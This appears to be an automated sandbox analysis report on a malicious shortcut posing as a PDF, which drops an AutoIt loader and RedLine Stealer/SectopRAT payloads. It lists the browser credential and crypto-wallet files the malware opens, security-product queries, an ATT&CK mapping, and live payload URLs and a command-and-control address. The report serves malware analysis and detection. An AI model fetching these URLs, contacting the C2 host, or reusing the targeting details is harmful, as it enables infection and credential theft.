19_2_00BF0722

Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe

Code function: 19_2_00BE416A __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

19_2_00BE416A

Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe

Code function: 19_2_00BC5D13 GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

19_2_00BC5D13

Source: C:\Windows\System32\OpenSSH\sftp.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct

Stealing of Sensitive Information

Yara detected RedLine Stealer

Source: Yara match	File source: 23.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000016.00000002.2636402975.0000000004238000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2631786260.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2486408621.0000000004008000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.2628465496.00000000049E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2706163073.0000000005300000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.2477972557.00000000047B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.2477864662.00000000049B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.2628036401.0000000004BE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2706323097.0000000005100000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.2711167576.0000000004958000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: updater.exe PID: 8112, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AutoIt3.exe PID: 5840, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 4448, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AutoIt3.exe PID: 6764, type: MEMORYSTR

Yara detected SectopRAT

Source: Yara match

File source: Process Memory Space: InstallUtil.exe PID: 5004, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\atomic\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Binance\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\

Source: updater.exe	Binary or memory string: WIN_81
Source: updater.exe	Binary or memory string: WIN_XP
Source: updater.exe	Binary or memory string: WIN_XPe
Source: updater.exe	Binary or memory string: WIN_VISTA
Source: updater.exe	Binary or memory string: WIN_7
Source: updater.exe	Binary or memory string: WIN_8
Source: AutoIt3.exe, 00000018.00000003.2705318551.0000000005146000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_10WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 14, 5USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte

Source: Yara match	File source: 23.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000016.00000002.2636402975.0000000004238000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2631786260.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2486408621.0000000004008000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.2628465496.00000000049E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2706163073.0000000005300000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.2477972557.00000000047B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.2477864662.00000000049B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.2628036401.0000000004BE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2706323097.0000000005100000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.2711167576.0000000004958000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: updater.exe PID: 8112, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 5004, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AutoIt3.exe PID: 5840, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 4448, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AutoIt3.exe PID: 6764, type: MEMORYSTR

Remote Access Functionality

Yara detected RedLine Stealer

Source: Yara match	File source: 23.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000016.00000002.2636402975.0000000004238000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2631786260.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2486408621.0000000004008000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.2628465496.00000000049E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2706163073.0000000005300000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.2477972557.00000000047B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.2477864662.00000000049B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.2628036401.0000000004BE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2706323097.0000000005100000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.2711167576.0000000004958000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: updater.exe PID: 8112, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AutoIt3.exe PID: 5840, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 4448, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AutoIt3.exe PID: 6764, type: MEMORYSTR

Yara detected SectopRAT

Source: Yara match

File source: Process Memory Space: InstallUtil.exe PID: 5004, type: MEMORYSTR

Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: 19_2_00C2696E socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,		19_2_00C2696E
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: 19_2_00C26E32 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		19_2_00C26E32

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	221 Windows Management Instrumentation	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	11 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Native API	1 Create Account	1 DLL Side-Loading	11 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	2 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	2 Valid Accounts	2 Valid Accounts	13 Obfuscated Files or Information	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	11 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	3 PowerShell	1 Registry Run Keys / Startup Folder	21 Access Token Manipulation	1 DLL Side-Loading	NTDS	169 System Information Discovery	Distributed Component Object Model	21 Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	12 Process Injection	111 Masquerading	LSA Secrets	261 Security Software Discovery	SSH	3 Clipboard Data	13 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	1 Registry Run Keys / Startup Folder	2 Valid Accounts	Cached Domain Credentials	251 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	251 Virtualization/Sandbox Evasion	DCSync	13 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	21 Access Token Manipulation	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
ref095vq842r70_classement_atout_france.pdf.lnk.d.lnk	8%	ReversingLabs
ref095vq842r70_classement_atout_france.pdf.lnk.d.lnk	5%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\48216953\updater.exe	3%	ReversingLabs
C:\ehcfdbh\AutoIt3.exe	3%	ReversingLabs

Source	Detection	Scanner	Label
https://static.klipxuhaq.shop/3VKKE.	0%	Avira URL Cloud	safe
https://cndef1.green-pathways.shop/api/uz/7552973650/u.bin	0%	Avira URL Cloud	safe
https://static.klipxuhaq.shop/3VKKE.mp4-	0%	Avira URL Cloud	safe
https://static.klipxuhaq.shop/3VKKE.mp4https://static.klipxuhaq.shop/3VKKE.mp4	0%	Avira URL Cloud	safe
https://static.klipxuhaq.shop/3VKKE.mp4C:Syste	0%	Avira URL Cloud	safe
https://static.klipxuhaq.shop/3VKKE.mp4$global:?	0%	Avira URL Cloud	safe
https://static.klipxuhaq.shop/3VKKE.mp4lr	0%	Avira URL Cloud	safe
https://cndef1.green-pathways.shop	0%	Avira URL Cloud	safe
https://static.k	0%	Avira URL Cloud	safe
https://static.klipxuhaq.shop/3VKKE.mp43	0%	Avira URL Cloud	safe
https://static.klipxuhaq.shop/3VKKE.mp4https://static.klipxuhaq.shop/3VKKE.mp4https://static.klipxuh	0%	Avira URL Cloud	safe
http://92.255.57.75:9000	0%	Avira URL Cloud	safe
https://static.klipxuhaq.shop/3VKKE.mp4dows	0%	Avira URL Cloud	safe
http://cndef1.green-pathways.shop	0%	Avira URL Cloud	safe
https://static.klipxuhaq.shop/3VKKE.mp4H	0%	Avira URL Cloud	safe
https://static.klipxuhaq.shop/3VKKE.mp4$A	0%	Avira URL Cloud	safe
https://static.klipxuhaq.shop/3VKKE.mp4...	0%	Avira URL Cloud	safe
https://static.klipxuhaq.shop/3VKKE.mp4md.exeDri	0%	Avira URL Cloud	safe
https://static.klipxuhaq.shop/3VKKE.mp4return	0%	Avira URL Cloud	safe
https://static.klipxuhaq.shop/3VKKE.mp4exe.Co;	0%	Avira URL Cloud	safe
https://static.klipxuhaq.shop/3VKKE.mp4k	0%	Avira URL Cloud	safe
https://cndef1.green-pathways.shop/api/uz/7552973650/nnn.bin	0%	Avira URL Cloud	safe
https://static.klipxuhaq.shop/3VKKE.mp4vvqb	0%	Avira URL Cloud	safe
https://static.klipxuhaq.shop/3VKKE.mp4n	0%	Avira URL Cloud	safe
https://static.klipxuhaq.shop/3VKKE.mp4	0%	Avira URL Cloud	safe
https://static.klipxuhaq.shop/3VKKE.mp4q	0%	Avira URL Cloud	safe
http://purl.oenM1	0%	Avira URL Cloud	safe
https://static.klipxuhaq.shop/3VKKE.mp4p	0%	Avira URL Cloud	safe
https://static.klipxuhaq.shop/3VKKE.mp4LMEMP	0%	Avira URL Cloud	safe
http://csp-invoices-v5.com	0%	Avira URL Cloud	safe
https://static.kX	0%	Avira URL Cloud	safe
https://static.klipxuhaq.shop/3VKKE.mp4SSC:	0%	Avira URL Cloud	safe
https://static.klipxuhaq.shop/3VKKE.mp4https://static.klipxuhaq.shop/3VKKE.mp4if	0%	Avira URL Cloud	safe
https://static.klipxuhaq.shop/3VKKE.mp4https://static.klipxuhaq.shop/3VKKE.mp4=	0%	Avira URL Cloud	safe
https://static.klipxuhaq.shop/3VKKE.mp4https://static.klipxuhaq.shop/3VKKE.mp4;	0%	Avira URL Cloud	safe
https://static.klipxuhaq.shop/3VKKE.mp4private	0%	Avira URL Cloud	safe
https://static.klipxuhaq.shop/3VKKE.mp4x	0%	Avira URL Cloud	safe
https://csp-invoices-v5.com/pdf/cloudviewer/ref095vq842r70/3rd/party/authorisation/form/20241210/docs/w3/ref095vq842r70_3rd_party_authorisation_form.pdf	0%	Avira URL Cloud	safe
https://static.klipxuhaq.shop/	0%	Avira URL Cloud	safe
http://92.255.57.75:9000/wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4FP	0%	Avira URL Cloud	safe
http://92.255.57.75:9000/wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F	0%	Avira URL Cloud	safe
https://static.klipxuhaq.shop/3VKKE.mp4~	0%	Avira URL Cloud	safe
https://csp-invoices-v5.com/pdf/cloudviewer/ref095vq842r70/3rd/party/authorisation/form/20241210/doc	0%	Avira URL Cloud	safe
http://92.255.57.75:	0%	Avira URL Cloud	safe
https://csp-invoices-v5.com	0%	Avira URL Cloud	safe
https://static.klipxuhaq.shop/3VKKE.mp4C:	0%	Avira URL Cloud	safe
https://static.klipxuhaq.shop/3VKKE.mp4ional	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false	high
csp-invoices-v5.com	83.166.133.91	true	false	unknown
cndef1.green-pathways.shop	188.114.97.6	true	false	unknown
static.klipxuhaq.shop	104.21.112.1	true	true	unknown
x1.i.lencr.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://cndef1.green-pathways.shop/api/uz/7552973650/u.bin	false	Avira URL Cloud: safe	unknown
https://cndef1.green-pathways.shop/api/uz/7552973650/nnn.bin	false	Avira URL Cloud: safe	unknown
https://static.klipxuhaq.shop/3VKKE.mp4	true	Avira URL Cloud: safe	unknown
https://csp-invoices-v5.com/pdf/cloudviewer/ref095vq842r70/3rd/party/authorisation/form/20241210/docs/w3/ref095vq842r70_3rd_party_authorisation_form.pdf	false	Avira URL Cloud: safe	unknown
http://92.255.57.75:9000/wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://cndef1.green-pathways.shop	powershell.exe, 0000000A.00000002.2410097536.00000228A99D4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2410097536.00000228AA044000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/chrome_newtab	InstallUtil.exe, 00000014.00000002.4634743358.000000000406E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://static.klipxuhaq.shop/3VKKE.	powershell.exe, 00000003.00000002.2167146722.000001C43747E000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://static.klipxuhaq.shop/3VKKE.mp4$global:?	powershell.exe	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	InstallUtil.exe, 00000014.00000002.4634743358.000000000406E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://static.k	powershell.exe, 00000005.00000002.2160147067.000001B7004AD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2160147067.000001B700508000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://static.klipxuhaq.shop/3VKKE.mp4-	powershell.exe, 00000005.00000002.2162496445.000001B7791F9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.2383283172.0000013FF0880000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://static.klipxuhaq.shop/3VKKE.mp4C:Syste	mshta.exe, 00000006.00000003.2364749175.00000147F759E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.2388134533.00000147F7666000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.2365178085.00000147F765E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://static.klipxuhaq.shop/3VKKE.mp43	powershell.exe, 00000005.00000002.2163725053.000001B77B41F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://static.klipxuhaq.shop/3VKKE.mp4lr	mshta.exe, 00000006.00000003.2376109075.00000147F741F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.2365374496.00000147F73FB000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.2387052077.00000147F741F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.2371281278.00000147F741C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.2365051139.00000147F73E4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.2371154611.00000147F73FB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://static.klipxuhaq.shop/3VKKE.mp4https://static.klipxuhaq.shop/3VKKE.mp4	mshta.exe, 00000006.00000003.2375643797.00000147F7955000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://static.klipxuhaq.shop/3VKKE.mp4https://static.klipxuhaq.shop/3VKKE.mp4https://static.klipxuh	mshta.exe, 00000006.00000003.2377844325.00000147F7963000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.microsoft.co	powershell.exe, 0000000A.00000002.2559586731.00000228C0530000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 0000000A.00000002.2542379363.00000228B8412000.00000004.00000800.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000007.00000003.2189651240.000002B817A40000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pscore6	powershell.exe, 00000003.00000002.2167146722.000001C436FC5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	InstallUtil.exe, 00000014.00000002.4634743358.000000000406E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.autoitscript.com/autoit3/	powershell.exe, 0000000A.00000002.2410097536.00000228A9E5B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2410097536.00000228A9E5F000.00000004.00000800.00020000.00000000.sdmp, updater.exe, 00000013.00000003.2476879837.0000000004804000.00000004.00001000.00020000.00000000.sdmp, updater.exe, 00000013.00000003.2477037205.00000000049C9000.00000004.00001000.00020000.00000000.sdmp, updater.exe, 00000013.00000002.2488230939.00000000048EF000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000016.00000003.2626597841.0000000004A34000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000016.00000002.2637708113.0000000004B1F000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000016.00000003.2626951599.0000000004BF9000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000018.00000003.2705548763.0000000005319000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000018.00000002.2712275124.000000000523F000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000018.00000003.2705318551.0000000005154000.00000004.00001000.00020000.00000000.sdmp	false		high
http://92.255.57.75:9000	InstallUtil.exe, 00000014.00000002.4612932603.000000000304D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://static.klipxuhaq.shop/3VKKE.mp4dows	powershell.exe, 00000005.00000002.2163130499.000001B7794B0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
